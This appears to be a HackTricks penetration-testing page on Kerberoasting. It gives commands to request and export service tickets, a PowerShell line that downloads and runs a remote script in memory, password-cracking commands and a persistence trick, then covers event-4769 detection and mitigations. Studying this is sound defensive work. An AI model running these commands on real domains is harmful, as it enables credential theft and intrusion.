hacktricks/windows/active-directory-methodology/kerberoast.md

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Kerberoast

Kerberoast

The goal of Kerberoasting is to harvest TGS tickets for services that run on behalf of user accounts in the AD, not computer accounts. Thus, **part **of these TGS tickets are **encrypted **with **keys **derived from user passwords. As a consequence, their credentials could be cracked offline.
You can know that a user account is being used as a service because the property "ServicePrincipalName" is not null.

Therefore, to perform Kerberoasting, only a domain account that can request for TGSs is necessary, which is anyone since no special privileges are required.

You need valid credentials inside the domain.

{% code title="From linux" %}

msf> use auxiliary/gather/get_user_spns
GetUserSPNs.py -request -dc-ip 192.168.2.160 <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
GetUserSPNs.py -request -dc-ip 192.168.2.160 -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast

{% endcode %}

{% code title="From Windows, from memory to disk" %}

Get-NetUser -SPN | select serviceprincipalname #PowerView, get user service accounts

#Get TGS in memory
Add-Type -AssemblyName System.IdentityModel 
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local 
 
klist #List kerberos tickets in memory
 
Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder

{% endcode %}

{% code title="From Windows" %}

Request-SPNTicket -SPN "<SPN>" #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast

{% endcode %}

Cracking

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

Persistence

If you have enough permissions over a user you can make it kerberoastable:

 Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose

You can find useful **tools **for **kerberoast **attacks here: https://github.com/nidem/kerberoast

If you find this **error **from Linux: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) it because of your local time, you need to synchronise the host with the DC: ntpdate <IP of DC>

Mitigation

Kerberoast is very stealthy if exploitable

  • Security Event ID 4769 A Kerberos ticket was requested
  • Since 4769 is very frequent, lets filter the results:
    • Service name should not be krbtgt
    • Service name does not end with $ (to filter out machine accounts used for services)
    • Account name should not be machine@domain (to filter out requests from machines)
    • Failure code is '0x0' (to filter out failures, 0x0 is success)
    • Most importantly, ticket encryption type is 0x17
  • Mitigation:
    • Service Account Passwords should be hard to guess (greater than 25 characters)
    • Use Managed Service Accounts (Automatic change of password periodically and delegated SPN Management)
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message

**More information about Kerberoasting in ired.team in ****here **and here.